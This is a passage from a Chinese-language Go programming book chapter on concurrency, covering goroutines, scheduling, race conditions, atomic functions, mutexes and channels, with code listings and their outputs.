D E F G H I J K L M N O P Q R S T U V W X Y Z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z a b c d e f g h i j k l m n o p q r s t u v w x y z a b c d e f g h i j k l m n o p q r s t u v w x y z a b c d e f g h i j k l m n o p q r s t u v w x y z Terminating Program 第一个 goroutine 完成所有显示需要花时间太短了,以至于在调度器切换到第二个 goroutine 之前,就完成了所有任务。这也是为什么会看到先输出了所有的大写字母,之后才输出小写字母。 我们创建的两个 goroutine 一个接一个地并发运行,独立完成显示字母表的任务。 如代码清单 6-3 所示,一旦两个匿名函数创建 goroutine 来执行,main 中的代码会继续运行。 这意味着 main 函数会在 goroutine 完成工作前返回。如果真的返回了,程序就会在 goroutine 有 机会运行前终止。因此,在第 51 行,main 函数通过 WaitGroup,等待两个 goroutine 完成它们 的工作。 代码清单 6-3 listing01.go:第 17 行到第 19 行,第 23 行到第 26 行,第 49 行到第 51 行 16 // wg 用来等待程序完成 17 // 计数加 2,表示要等待两个 goroutine 18 var wg sync.WaitGroup 19 wg.Add(2) 23 // 声明一个匿名函数,并创建一个 goroutine 24 go func() { 25 // 在函数退出时调用 Done 来通知 main 函数工作已经完成 26 defer wg.Done() 49 // 等待 goroutine 结束 50 fmt.Println("Waiting To Finish") 51 wg.Wait() WaitGroup 是一个计数信号量,可以用来记录并维护运行的 goroutine。如果 WaitGroup 的值大于 0,Wait 方法就会阻塞。在第 18 行,创建了一个 WaitGroup 类型的变量,之后在 第 19 行,将这个 WaitGroup 的值设置为 2,表示有两个正在运行的 goroutine。为了减小 WaitGroup 的值并最终释放 main 函数,要在第 26 和 39 行,使用 defer 声明在函数退出时 调用 Done 方法。 关键字 defer 会修改函数调用时机,在正在执行的函数返回时才真正调用 defer 声明的函 数。对这里的示例程序来说,我们使用关键字 defer 保证,每个 goroutine 一旦完成其工作就调 用 Done 方法。 基于调度器的内部算法,一个正运行的 goroutine 在工作结束前,可以被停止并重新调度。 调度器这样做的目的是防止某个 goroutine 长时间占用逻辑处理器。当 goroutine 占用时间过长时, 调度器会停止当前正运行的 goroutine,并给其他可运行的 goroutine 运行的机会。 图 6-4 从逻辑处理器的角度展示了这一场景。在第 1 步,调度器开始运行 goroutine A,而 goroutine B 在运行队列里等待调度。之后,在第 2 步,调度器交换了 goroutine A 和 goroutine B。 由于 goroutine A 并没有完成工作,因此被放回到运行队列。之后,在第 3 步,goroutine B 完成 了它的工作并被系统销毁。这也让 goroutine A 继续之前的工作。 图 6-4 goroutine 在逻辑处理器的线程上进行交换 可以通过创建一个需要长时间才能完成其工作的 goroutine 来看到这个行为,如代码清单 6-4 所示。 代码清单 6-4 listing04.go 01 // 这个示例程序展示 goroutine 调度器是如何在单个线程上 02 // 切分时间片的 03 package main 04 05 import ( 06 "fmt" 07 "runtime" 08 "sync" 09 ) 10 11 // wg 用来等待程序完成 12 var wg sync.WaitGroup 13 14 // main 是所有 Go 程序的入口 15 func main() { 16 // 分配一个逻辑处理器给调度器使用 17 runtime.GOMAXPROCS(1) 18 19 // 计数加 2,表示要等待两个 goroutine 20 wg.Add(2) 21 22 // 创建两个 goroutine 23 fmt.Println("Create Goroutines") 24 go printPrime("A") 25 go printPrime("B") 26 27 // 等待 goroutine 结束 28 fmt.Println("Waiting To Finish") 29 wg.Wait() 30 31 fmt.Println("Terminating Program") 32 } 33 34 // printPrime 显示 5000 以内的素数值 35 func printPrime(prefix string) { 36 // 在函数退出时调用 Done 来通知 main 函数工作已经完成 37 defer wg.Done() 38 39 next: 40 for outer := 2; outer < 5000; outer++ { 41 for inner := 2; inner < outer; inner++ { 42 if outer%inner == 0 { 43 continue next 44 } 45 } 46 fmt.Printf("%s:%d\n", prefix, outer) 47 } 48 fmt.Println("Completed", prefix) 49 } 代码清单 6-4 中的程序创建了两个 goroutine,分别打印 1~5000 内的素数。查找并显示素数 会消耗不少时间,这会让调度器有机会在第一个 goroutine 找到所有素数之前,切换该 goroutine 的时间片。 在第 12 行中,程序启动的时候,声明了一个 WaitGroup 变量,并在第 20 行将其值设置为 2。之后在第 24 行和第 25 行,在关键字 go 后面指定 printPrime 函数并创建了两个 goroutine 来执行。第一个 goroutine 使用前缀 A,第二个 goroutine 使用前缀 B。和其他函数调用一样,创 建为 goroutine 的函数调用时可以传入参数。不过 goroutine 终止时无法获取函数的返回值。查看 代码清单 6-5 中给出的输出时,会看到调度器在切换第一个 goroutine。 代码清单 6-5 listing04.go 的输出 Create Goroutines Waiting To Finish B:2 B:3 ... B:4583 B:4591 A:3 ** 切换 goroutine A:5 ... A:4561 A:4567 B:4603 ** 切换 goroutine B:4621 ... Completed B A:4457 ** 切换 goroutine A:4463 ... A:4993 A:4999 Completed A Terminating Program goroutine B 先显示素数。一旦 goroutine B 打印到素数 4591,调度器就会将正运行的 goroutine 切换为 goroutine A。之后 goroutine A 在线程上执行了一段时间,再次切换为 goroutine B。这次 goroutine B 完成了所有的工作。一旦 goroutine B 返回,就会看到线程再次切换到 goroutine A 并 完成所有的工作。每次运行这个程序,调度器切换的时间点都会稍微有些不同。 代码清单 6-1 和代码清单 6-4 中的示例程序展示了调度器如何在一个逻辑处理器上并发运行 多个 goroutine。像之前提到的,Go 标准库的 runtime 包里有一个名为 GOMAXPROCS 的函数, 通过它可以指定调度器可用的逻辑处理器的数量。用这个函数,可以给每个可用的物理处理器在 运行的时候分配一个逻辑处理器。代码清单 6-6 展示了这种改动,让 goroutine 并行运行。 代码清单 6-6 如何修改逻辑处理器的数量 import "runtime" // 给每个可用的核心分配一个逻辑处理器 runtime.GOMAXPROCS(runtime.NumCPU()) 包 runtime 提供了修改 Go 语言运行时配置参数的能力。在代码清单 6-6 里,我们使用两 个 runtime 包的函数来修改调度器使用的逻辑处理器的数量。函数 NumCPU 返回可以使用的物 理处理器的数量。因此,调用 GOMAXPROCS 函数就为每个可用的物理处理器创建一个逻辑处理 器。需要强调的是,使用多个逻辑处理器并不意味着性能更好。在修改任何语言运行时配置参数 的时候,都需要配合基准测试来评估程序的运行效果。 如果给调度器分配多个逻辑处理器,我们会看到之前的示例程序的输出行为会有些不同。让 我们把逻辑处理器的数量改为 2,并再次运行第一个打印英文字母表的示例程序,如代码清单 6-7 所示。 代码清单 6-7 listing07.go 01 // 这个示例程序展示如何创建 goroutine 02 // 以及 goroutine 调度器的行为 03 package main 04 05 import ( 06 "fmt" 07 "runtime" 08 "sync" 09 ) 10 11 // main 是所有 Go 程序的入口 12 func main() { 13 // 分配 2 个逻辑处理器给调度器使用 14 runtime.GOMAXPROCS(2) 15 16 // wg 用来等待程序完成 17 // 计数加 2,表示要等待两个 goroutine 18 var wg sync.WaitGroup 19 wg.Add(2) 20 21 fmt.Println("Start Goroutines") 22 23 // 声明一个匿名函数,并创建一个 goroutine 24 go func() { 25 // 在函数退出时调用 Done 来通知 main 函数工作已经完成 26 defer wg.Done() 27 28 // 显示字母表 3 次 29 for count := 0; count < 3; count++ { 30 for char := 'a'; char < 'a'+26; char++ { 31 fmt.Printf("%c ", char) 32 } 33 } 34 }() 35 36 // 声明一个匿名函数,并创建一个 goroutine 37 go func() { 38 // 在函数退出时调用 Done 来通知 main 函数工作已经完成 39 defer wg.Done() 40 41 // 显示字母表 3 次 42 for count := 0; count < 3; count++ { 43 for char := 'A'; char < 'A'+26; char++ { 44 fmt.Printf("%c ", char) 45 } 46 } 47 }() 48 49 // 等待 goroutine 结束 50 fmt.Println("Waiting To Finish") 51 wg.Wait() 52 53 fmt.Println("\nTerminating Program") 54 } 代码清单6-7 中给出的例子在第14 行中通过调用GOMAXPROCS 函数创建了两个逻辑处理器。 这会让 goroutine 并行运行,输出结果如代码清单 6-8 所示。 代码清单 6-8 listing07.go 的输出 Create Goroutines Waiting To Finish A B C a D E b F c G d H e I f J g K h L i M j N k O l P m Q n R o S p T q U r V s W t X u Y v Z w A x B y C z D a E b F c G d H e I f J g K h L i M j N k O l P m Q n R o S p T q U r V s W t X u Y v Z w A x B y C z D a E b F c G d H e I f J g K h L i M j N k O l P m Q n R o S p T q U r V s W t X u Y v Z w x y z Terminating Program 如果仔细查看代码清单 6-8 中的输出,会看到 goroutine 是并行运行的。两个 goroutine 几乎 是同时开始运行的,大小写字母是混合在一起显示的。这是在一台 8 核的电脑上运行程序的输出, 所以每个 goroutine 独自运行在自己的核上。记住,只有在有多个逻辑处理器且可以同时让每个 goroutine 运行在一个可用的物理处理器上的时候,goroutine 才会并行运行。 现在知道了如何创建 goroutine,并了解这背后发生的事情了。下面需要了解一下写并发程序 时的潜在危险,以及需要注意的事情。 6.3 竞争状态 如果两个或者多个 goroutine 在没有互相同步的情况下,访问某个共享的资源,并试图同时 读和写这个资源,就处于相互竞争的状态,这种情况被称作竞争状态(race candition)。竞争状态 的存在是让并发程序变得复杂的地方,十分容易引起潜在问题。对一个共享资源的读和写操作必 须是原子化的,换句话说,同一时刻只能有一个 goroutine 对共享资源进行读和写操作。代码清 单 6-9 中给出的是包含竞争状态的示例程序。 代码清单 6-9 listing09.go 01 // 这个示例程序展示如何在程序里造成竞争状态 02 // 实际上不希望出现这种情况 03 package main 04 05 import ( 06 "fmt" 07 "runtime" 08 "sync" 09 ) 10 11 var ( 12 // counter 是所有 goroutine 都要增加其值的变量 13 counter int 14 15 // wg 用来等待程序结束 16 wg sync.WaitGroup 17 ) 18 19 // main 是所有 Go 程序的入口 20 func main() { 21 // 计数加 2,表示要等待两个 goroutine 22 wg.Add(2) 23 24 // 创建两个 goroutine 25 go incCounter(1) 26 go incCounter(2) 27 28 // 等待 goroutine 结束 29 wg.Wait() 30 fmt.Println("Final Counter:", counter) 31 } 32 33 // incCounter 增加包里 counter 变量的值 34 func incCounter(id int) { 35 // 在函数退出时调用 Done 来通知 main 函数工作已经完成 36 defer wg.Done() 37 38 for count := 0; count < 2; count++ { 39 // 捕获 counter 的值 40 value := counter 41 42 // 当前 goroutine 从线程退出,并放回到队列 43 runtime.Gosched() 44 45 // 增加本地 value 变量的值 46 value++ 47 48 // 将该值保存回 counter 49 counter = value 50 } 51 } 对应的输出如代码清单 6-10 所示。 代码清单 6-10 listing09.go 的输出 Final Counter: 2 变量 counter 会进行 4 次读和写操作,每个 goroutine 执行两次。但是,程序终止时,counter 变量的值为 2。图 6-5 提供了为什么会这样的线索。 每个 goroutine 都会覆盖另一个 goroutine 的工作。这种覆盖发生在 goroutine 切换的时候。每 个 goroutine 创造了一个 counter 变量的副本,之后就切换到另一个 goroutine。当这个 goroutine 再次运行的时候,counter 变量的值已经改变了,但是 goroutine 并没有更新自己的那个副本的 值,而是继续使用这个副本的值,用这个值递增,并存回 counter 变量,结果覆盖了另一个 goroutine 完成的工作。 图 6-5 竞争状态下程序行为的图像表达 让我们顺着程序理解一下发生了什么。在第 25 行和第 26 行,使用 incCounter 函数创建 了两个 goroutine。在第 34 行,incCounter 函数对包内变量 counter 进行了读和写操作,而 这个变量是这个示例程序里的共享资源。每个 goroutine 都会先读出这个 counter 变量的值,并 在第 40 行将 counter 变量的副本存入一个叫作 value 的本地变量。之后在第 46 行, incCounter 函数对 value 的副本的值加 1,最终在第 49 行将这个新值存回到 counter 变量。 这个函数在第 43 行调用了 runtime 包的 Gosched 函数,用于将 goroutine 从当前线程退出, 给其他 goroutine 运行的机会。在两次操作中间这样做的目的是强制调度器切换两个 goroutine, 以便让竞争状态的效果变得更明显。 Go 语言有一个特别的工具,可以在代码里检测竞争状态。在查找这类错误的时候,这个工 具非常好用,尤其是在竞争状态并不像这个例子里这么明显的时候。让我们用这个竞争检测器来 检测一下我们的例子代码,如代码清单 6-11 所示。 代码清单 6-11 用竞争检测器来编译并执行 listing09 的代码 go build -race // 用竞争检测器标志来编译程序 ./example // 运行程序 ================== WARNING: DATA RACE Write by goroutine 5: main.incCounter() /example/main.go:49 +0x96 Previous read by goroutine 6: main.incCounter() /example/main.go:40 +0x66 Goroutine 5 (running) created at: main.main() /example/main.go:25 +0x5c Goroutine 6 (running) created at: main.main() /example/main.go:26 +0x73 ================== Final Counter: 2 Found 1 data race(s) 代码清单 6-11 中的竞争检测器指出这个例子里面代码清单 6-12 所示的 4 行代码有问题。 代码清单 6-12 竞争检测器指出的代码 Line 49: counter = value Line 40: value := counter Line 25: go incCounter(1) Line 26: go incCounter(2) 代码清单 6-12 展示了竞争检测器查到的哪个 goroutine 引发了数据竞争,以及哪两行代码有 冲突。毫不奇怪,这几行代码分别是对 counter 变量的读和写操作。 一种修正代码、消除竞争状态的办法是,使用 Go 语言提供的锁机制,来锁住共享资源,从 而保证 goroutine 的同步状态。 6.4 锁住共享资源 Go 语言提供了传统的同步 goroutine 的机制,就是对共享资源加锁。如果需要顺序访问一个 整型变量或者一段代码,atomic 和 sync 包里的函数提供了很好的解决方案。下面我们了解一 下 atomic 包里的几个函数以及 sync 包里的 mutex 类型。 6.4.1 原子函数 原子函数能够以很底层的加锁机制来同步访问整型变量和指针。我们可以用原子函数来修正 代码清单 6-9 中创建的竞争状态,如代码清单 6-13 所示。 代码清单 6-13 listing13.go 01 // 这个示例程序展示如何使用 atomic 包来提供 02 // 对数值类型的安全访问 03 package main 04 05 import ( 06 "fmt" 07 "runtime" 08 "sync" 09 "sync/atomic" 10 ) 11 12 var ( 13 // counter 是所有 goroutine 都要增加其值的变量 14 counter int64 15 16 // wg 用来等待程序结束 17 wg sync.WaitGroup 18 ) 19 20 // main 是所有 Go 程序的入口 21 func main() { 22 // 计数加 2,表示要等待两个 goroutine 23 wg.Add(2) 24 25 // 创建两个 goroutine 26 go incCounter(1) 27 go incCounter(2) 28 29 // 等待 goroutine 结束 30 wg.Wait() 31 32 // 显示最终的值 33 fmt.Println("Final Counter:", counter) 34 } 35 36 // incCounter 增加包里 counter 变量的值 37 func incCounter(id int) { 38 // 在函数退出时调用 Done 来通知 main 函数工作已经完成 39 defer wg.Done() 40 41 for count := 0; count < 2; count++ { 42 // 安全地对 counter 加 1 43 atomic.AddInt64(&counter, 1) 44 45 // 当前 goroutine 从线程退出,并放回到队列 46 runtime.Gosched() 47 } 48 } 对应的输出如代码清单 6-14 所示。 代码清单 6-14 listing13.go 的输出 Final Counter: 4 现在,程序的第 43 行使用了 atmoic 包的 AddInt64 函数。这个函数会同步整型值的加法, 方法是强制同一时刻只能有一个 goroutine 运行并完成这个加法操作。当 goroutine 试图去调用任 何原子函数时,这些 goroutine 都会自动根据所引用的变量做同步处理。现在我们得到了正确的 值 4。 另外两个有用的原子函数是 LoadInt64 和 StoreInt64。这两个函数提供了一种安全地读 和写一个整型值的方式。代码清单 6-15 中的示例程序使用 LoadInt64 和 StoreInt64 来创建 一个同步标志,这个标志可以向程序里多个 goroutine 通知某个特殊状态。 代码清单 6-15 listing15.go 01 // 这个示例程序展示如何使用 atomic 包里的 02 // Store 和 Load 类函数来提供对数值类型 03 // 的安全访问 04 package main 05 06 import ( 07 "fmt" 08 "sync" 09 "sync/atomic" 10 "time" 11 ) 12 13 var ( 14 // shutdown 是通知正在执行的 goroutine 停止工作的标志 15 shutdown int64 16 17 // wg 用来等待程序结束 18 wg sync.WaitGroup 19 ) 20 21 // main 是所有 Go 程序的入口 22 func main() { 23 // 计数加 2,表示要等待两个 goroutine 24 wg.Add(2) 25 26 // 创建两个 goroutine 27 go doWork("A") 28 go doWork("B") 29 30 // 给定 goroutine 执行的时间 31 time.Sleep(1 * time.Second) 32 33 // 该停止工作了,安全地设置 shutdown 标志 34 fmt.Println("Shutdown Now") 35 atomic.StoreInt64(&shutdown, 1) 36 37 // 等待 goroutine 结束 38 wg.Wait() 39 } 40 41 // doWork 用来模拟执行工作的 goroutine, 42 // 检测之前的 shutdown 标志来决定是否提前终止 43 func doWork(name string) { 44 // 在函数退出时调用 Done 来通知 main 函数工作已经完成 45 defer wg.Done() 46 47 for { 48 fmt.Printf("Doing %s Work\n", name) 49 time.Sleep(250 * time.Millisecond) 50 51 // 要停止工作了吗? 52 if atomic.LoadInt64(&shutdown) == 1 { 53 fmt.Printf("Shutting %s Down\n", name) 54 break 55 } 56 } 57 } 在这个例子中,启动了两个 goroutine,并完成一些工作。在各自循环的每次迭代之后,在第 52 行中 goroutine 会使用 LoadInt64 来检查 shutdown 变量的值。这个函数会安全地返回 shutdown 变量的一个副本。如果这个副本的值为 1,goroutine 就会跳出循环并终止。 在第 35 行中,main 函数使用 StoreInt64 函数来安全地修改 shutdown 变量的值。如果 哪个 doWork goroutine 试图在 main 函数调用 StoreInt64 的同时调用 LoadInt64 函数,那 么原子函数会将这些调用互相同步,保证这些操作都是安全的,不会进入竞争状态。 6.4.2 互斥锁 另一种同步访问共享资源的方式是使用互斥锁(mutex)。互斥锁这个名字来自互斥(mutual exclusion)的概念。互斥锁用于在代码上创建一个临界区,保证同一时间只有一个 goroutine 可以 执行这个临界区代码。我们还可以用互斥锁来修正代码清单 6-9 中创建的竞争状态,如代码清单 6-16 所示。 代码清单 6-16 listing16.go 01 // 这个示例程序展示如何使用互斥锁来 02 // 定义一段需要同步访问的代码临界区 03 // 资源的同步访问 04 package main 05 06 import ( 07 "fmt" 08 "runtime" 09 "sync" 10 ) 11 12 var ( 13 // counter 是所有 goroutine 都要增加其值的变量 14 counter int 15 16 // wg 用来等待程序结束 17 wg sync.WaitGroup 18 19 // mutex 用来定义一段代码临界区 20 mutex sync.Mutex 21 ) 22 23 // main 是所有 Go 程序的入口 24 func main() { 25 // 计数加 2,表示要等待两个 goroutine 26 wg.Add(2) 27 28 // 创建两个 goroutine 29 go incCounter(1) 30 go incCounter(2) 31 32 // 等待 goroutine 结束 33 wg.Wait() 34 fmt.Printf("Final Counter: %d\\n", counter) 35 } 36 37 // incCounter 使用互斥锁来同步并保证安全访问, 38 // 增加包里 counter 变量的值 39 func incCounter(id int) { 40 // 在函数退出时调用 Done 来通知 main 函数工作已经完成 41 defer wg.Done() 42 43 for count := 0; count < 2; count++ { 44 // 同一时刻只允许一个 goroutine 进入 45 // 这个临界区 46 mutex.Lock() 47 { 48 // 捕获 counter 的值 49 value := counter 50 51 // 当前 goroutine 从线程退出,并放回到队列 52 runtime.Gosched() 53 54 // 增加本地 value 变量的值 55 value++ 56 57 // 将该值保存回 counter 58 counter = value 59 } 60 mutex.Unlock() 61 // 释放锁,允许其他正在等待的 goroutine 62 // 进入临界区 63 } 64 } 对 counter 变量的操作在第 46 行和第 60 行的 Lock()和 Unlock()函数调用定义的临界 区里被保护起来。使用大括号只是为了让临界区看起来更清晰,并不是必需的。同一时刻只有一 个 goroutine 可以进入临界区。之后,直到调用 Unlock()函数之后,其他 goroutine 才能进入临 界区。当第 52 行强制将当前 goroutine 退出当前线程后,调度器会再次分配这个 goroutine 继续运 行。当程序结束时,我们得到正确的值 4,竞争状态不再存在。 6.5 通道 原子函数和互斥锁都能工作,但是依靠它们都不会让编写并发程序变得更简单,更不容易出 错,或者更有趣。在 Go 语言里,你不仅可以使用原子函数和互斥锁来保证对共享资源的安全访 问以及消除竞争状态,还可以使用通道,通过发送和接收需要共享的资源,在 goroutine 之间做 同步。 当一个资源需要在 goroutine 之间共享时,通道在 goroutine 之间架起了一个管道,并提供了 确保同步交换数据的机制。声明通道时,需要指定将要被共享的数据的类型。可以通过通道共享 内置类型、命名类型、结构类型和引用类型的值或者指针。 在 Go 语言中需要使用内置函数 make 来创建一个通道,如代码清单 6-17 所示。 代码清单 6-17 使用 make 创建通道 // 无缓冲的整型通道 unbuffered := make(chan int) // 有缓冲的字符串通道 buffered := make(chan string, 10) 在代码清单 6-17 中,可以看到使用内置函数 make 创建了两个通道,一个无缓冲的通道, 一个有缓冲的通道。make 的第一个参数需要是关键字 chan,之后跟着允许通道交换的数据的 类型。如果创建的是一个有缓冲的通道,之后还需要在第二个参数指定这个通道的缓冲区的大小。 向通道发送值或者指针需要用到<-操作符,如代码清单 6-18 所示。 代码清单 6-18 向通道发送值 // 有缓冲的字符串通道 buffered := make(chan string, 10) // 通过通道发送一个字符串 buffered <- "Gopher" 在代码清单 6-18 里,我们创建了一个有缓冲的通道,数据类型是字符串,包含一个 10 个值 的缓冲区。之后我们通过通道发送字符串"Gopher"。为了让另一个 goroutine 可以从该通道里接 收到这个字符串,我们依旧使用<-操作符,但这次是一元运算符,如代码清单 6-19 所示。 代码清单 6-19 从通道里接收值 // 从通道接收一个字符串 value := <-buffered 当从通道里接收一个值或者指针时,<-运算符在要操作的通道变量的左侧,如代码清单 6-19 所示。 通道是否带有缓冲,其行为会有一些不同。理解这个差异对决定到底应该使用还是不使用缓 冲很有帮助。下面我们分别介绍一下这两种类型。 6.5.1 无缓冲的通道 无缓冲的通道(unbuffered channel)是指在接收前没有能力保存任何值的通道。这种类型的通 道要求发送 goroutine 和接收 goroutine 同时准备好,才能完成发送和接收操作。如果两个 goroutine 没有同时准备好,通道会导致先执行发送或接收操作的 goroutine 阻塞等待。这种对通道进行发送 和接收的交互行为本身就是同步的。其中任意一个操作都无法离开另一个操作单独存在。 在图 6-6 里,可以看到一个例子,展示两个 goroutine 如何利用无缓冲的通道来共享一个值。 图 6-6 使用无缓冲的通道在 goroutine 之间同步 在第 1 步,两个 goroutine 都到达通道,但哪个都没有开始执行发送或者接收。在第 2 步,左侧 的 goroutine 将它的手伸进了通道,这模拟了向通道发送数据的行为。这时,这个 goroutine 会在 通道中被锁住,直到交换完成。在第 3 步,右侧的 goroutine 将它的手放入通道,这模拟了从通 道里接收数据。这个 goroutine 一样也会在通道中被锁住,直到交换完成。在第 4 步和第 5 步, 进行交换,并最终,在第 6 步,两个 goroutine 都将它们的手从通道里拿出来,这模拟了被锁住 的 goroutine 得到释放。两个 goroutine 现在都可以去做别的事情了。 为了讲得更清楚,让我们来看两个完整的例子。这两个例子都会使用无缓冲的通道在两个 goroutine 之间同步交换数据。 在网球比赛中,两位选手会把球在两个人之间来回传递。选手总是处在以下两种状态之一: 要么在等待接球,要么将球打向对方。可以使用两个 goroutine 来模拟网球比赛,并使用无缓冲 的通道来模拟球的来回,如代码清单 6-20 所示。 代码清单 6-20 listing20.go 01 // 这个示例程序展示如何用无缓冲的通道来模拟 02 // 2 个 goroutine 间的网球比赛 03 package main 04 05 import ( 06 "fmt" 07 "math/rand" 08 "sync" 09 "time" 10 ) 11 12 // wg 用来等待程序结束 13 var wg sync.WaitGroup 14 15 func init() { 16 rand.Seed(time.Now().UnixNano()) 17 } 18 19 // main 是所有 Go 程序的入口 20 func main() { 21 // 创建一个无缓冲的通道 22 court := make(chan int) 23 24 // 计数加 2,表示要等待两个 goroutine 25 wg.Add(2) 26 27 // 启动两个选手 28 go player("Nadal", court) 29 go player("Djokovic", court) 30 31 // 发球 32 court <- 1 33 34 // 等待游戏结束 35 wg.Wait() 36 } 37 38 // player 模拟一个选手在打网球 39 func player(name string, court chan int) { 40 // 在函数退出时调用 Done 来通知 main 函数工作已经完成 41 defer wg.Done() 42 43 for { 44 // 等待球被击打过来 45 ball, ok := <-court 46 if !ok { 47 // 如果通道被关闭,我们就赢了 48 fmt.Printf("Player %s Won\n", name) 49 return 50 } 51 52 // 选随机数,然后用这个数来判断我们是否丢球 53 n := rand.Intn(100) 54 if n%13 == 0 { 55 fmt.Printf("Player %s Missed\n", name) 56 57 // 关闭通道,表示我们输了 58 close(court) 59 return 60 } 61 62 // 显示击球数,并将击球数加 1 63 fmt.Printf("Player %s Hit %d\n", name, ball) 64 ball++ 65 66 // 将球打向对手 67 court <- ball 68 } 69 } 运行这个程序会得到代码清单 6-21 所示的输出。 代码清单 6-21 listing20.go 的输出 Player Nadal Hit 1 Player Djokovic Hit 2 Player Nadal Hit 3 Player Djokovic Missed Player Nadal Won 在 main 函数的第 22 行,创建了一个 int 类型的无缓冲的通道,让两个 goroutine 在击球时 能够互相同步。之后在第 28 行和第 29 行,创建了参与比赛的两个 goroutine。在这个时候,两个 goroutine 都阻塞住等待击球。在第 32 行,将球发到通道里,程序开始执行这个比赛,直到某个 goroutine 输掉比赛。 在 player 函数里,在第 43 行可以找到一个无限循环的 for 语句。在这个循环里,是玩游 戏的过程。在第 45 行,goroutine 从通道接收数据,用来表示等待接球。这个接收动作会锁住 goroutine,直到有数据发送到通道里。通道的接收动作返回时,第 46 行会检测 ok 标志是否为 false。如果这个值是 false,表示通道已经被关闭,游戏结束。在第 53 行到第 60 行,会产 生一个随机数,用来决定 goroutine 是否击中了球。如果击中了球,在第 64 行 ball 的值会递增 1,并在第 67 行,将 ball 作为球重新放入通道,发送给另一位选手。在这个时刻,两个 goroutine 都会被锁住,直到交换完成。最终,某个 goroutine 没有打中球,在第 58 行关闭通道。之后两个 goroutine 都会返回,通过 defer 声明的 Done 会被执行,程序终止。 另一个例子,用不同的模式,使用无缓冲的通道,在 goroutine 之间同步数据,来模拟接力 比赛。在接力比赛里,4 个跑步者围绕赛道轮流跑(如代码清单 6-22 所示)。第二个、第三个和 第四个跑步者要接到前一位跑步者的接力棒后才能起跑。比赛中最重要的部分是要传递接力棒, 要求同步传递。在同步接力棒的时候,参与接力的两个跑步者必须在同一时刻准备好交接。 代码清单 6-22 listing22.go 01 // 这个示例程序展示如何用无缓冲的通道来模拟 02 // 4 个 goroutine 间的接力比赛 03 package main 04 05 import ( 06 "fmt" 07 "sync" 08 "time" 09 ) 10 11 // wg 用来等待程序结束 12 var wg sync.WaitGroup 13 14 // main 是所有 Go 程序的入口 15 func main() { 16 // 创建一个无缓冲的通道 17 baton := make(chan int) 18 19 // 为最后一位跑步者将计数加 1 20 wg.Add(1) 21 22 // 第一位跑步者持有接力棒 23 go Runner(baton) 24 25 // 开始比赛 26 baton <- 1 27 28 // 等待比赛结束 29 wg.Wait() 30 } 31 32 // Runner 模拟接力比赛中的一位跑步者 33 func Runner(baton chan int) { 34 var newRunner int 35 6.5 通道 145 36 // 等待接力棒 37 runner := <-baton 38 39 // 开始绕着跑道跑步 40 fmt.Printf("Runner %d Running With Baton\n", runner) 41 42 // 创建下一位跑步者 43 if runner != 4 { 44 newRunner = runner + 1 45 fmt.Printf("Runner %d To The Line\n", newRunner) 46 go Runner(baton) 47 } 48 49 // 围绕跑道跑 50 time.Sleep(100 * time.Millisecond) 51 52 // 比赛结束了吗? 53 if runner == 4 { 54 fmt.Printf("Runner %d Finished, Race Over\n", runner) 55 wg.Done() 56 return 57 } 58 59 // 将接力棒交给下一位跑步者 60 fmt.Printf("Runner %d Exchange With Runner %d\n", 61 runner, 62 newRunner) 63 64 baton <- newRunner 65 } 运行这个程序会得到代码清单 6-23 所示的输出。 代码清单 6-23 listing22.go 的输出 Runner 1 Running With Baton Runner 1 To The Line Runner 1 Exchange With Runner 2 Runner 2 Running With Baton Runner 2 To The Line Runner 2 Exchange With Runner 3 Runner 3 Running With Baton Runner 3 To The Line Runner 3 Exchange With Runner 4 Runner 4 Running With Baton Runner 4 Finished, Race Over 在 main 函数的第 17 行,创建了一个无缓冲的 int 类型的通道 baton,用来同步传递接力棒。 在第 20 行,我们给 WaitGroup 加 1,这样 main 函数就会等最后一位跑步者跑步结束。在第 23 行 创建了一个 goroutine,用来表示第一位跑步者来到跑道。之后在第 26 行,将接力棒交给这个跑步者, 比赛开始。最终,在第 29 行,main 函数阻塞在 WaitGroup,等候最后一位跑步者完成比赛。 在 Runner goroutine 里,可以看到接力棒 baton 是如何在跑步者之间传递的。在第 37 行, goroutine 对 baton 通道执行接收操作,表示等候接力棒。一旦接力棒传了进来,在第 46 行就会 创建一位新跑步者,准备接力下一棒,直到 goroutine 是第四个跑步者。在第 50 行,跑步者围绕 跑道跑 100 ms。在第 55 行,如果第四个跑步者完成了比赛,就调用 Done,将 WaitGroup 减 1, 之后 goroutine 返回。如果这个 goroutine 不是第四个跑步者,那么在第 64 行,接力棒会交到下一 个已经在等待的跑步者手上。在这个时候,goroutine 会被锁住,直到交接完成。 在这两个例子里,我们使用无缓冲的通道同步 goroutine,模拟了网球和接力赛。代码的流程 与这两个活动在真实世界中的流程完全一样,这样的代码很容易读懂。现在知道了无缓冲的通道 是如何工作的,接下来我们会学习有缓冲的通道的工作方法。 6.5.2 有缓冲的通道 有缓冲的通道(buffered channel)是一种在被接收前能存储一个或者多个值的通道。这种类 型的通道并不强制要求 goroutine 之间必须同时完成发送和接收。通道会阻塞发送和接收动作的 条件也会不同。只有在通道中没有要接收的值时,接收动作才会阻塞。只有在通道没有可用缓冲 区容纳被发送的值时,发送动作才会阻塞。这导致有缓冲的通道和无缓冲的通道之间的一个很大 的不同:无缓冲的通道保证进行发送和接收的 goroutine 会在同一时间进行数据交换;有缓冲的 通道没有这种保证。 在图6-7中可以看到两个goroutine分别向有缓冲的通道里增加一个值和从有缓冲的通道里移 除一个值。在第 1 步,右侧的 goroutine 正在从通道接收一个值。在第 2 步,右侧的这个 goroutine 独立完成了接收值的动作,而左侧的 goroutine 正在发送一个新值到通道里。在第 3 步,左侧的 goroutine 还在向通道发送新值,而右侧的 goroutine 正在从通道接收另外一个值。这个步骤里的 两个操作既不是同步的,也不会互相阻塞。最后,在第 4 步,所有的发送和接收都完成,而通道 里还有几个值,也有一些空间可以存更多的值。 图 6-7 使用有缓冲的通道在 goroutine 之间同步数据 让我们看一个使用有缓冲的通道的例子,这个例子管理一组 goroutine 来接收并完成工作。 有缓冲的通道提供了一种清晰而直观的方式来实现这个功能,如代码清单 6-24 所示。 代码清单 6-24 listing24.go 01 // 这个示例程序展示如何使用 02 // 有缓冲的通道和固定数目的 03 // goroutine 来处理一堆工作 04 package main 05 06 import ( 07 "fmt" 08 "math/rand" 09 "sync" 10 "time" 11 ) 12 13 const ( 14 numberGoroutines = 4 // 要使用的 goroutine 的数量 15 taskLoad = 10 // 要处理的工作的数量 16 ) 17 18 // wg 用来等待程序完成 19 var wg sync.WaitGroup 20 21 // init 初始化包,Go 语言运行时会在其他代码执行之前 22 // 优先执行这个函数 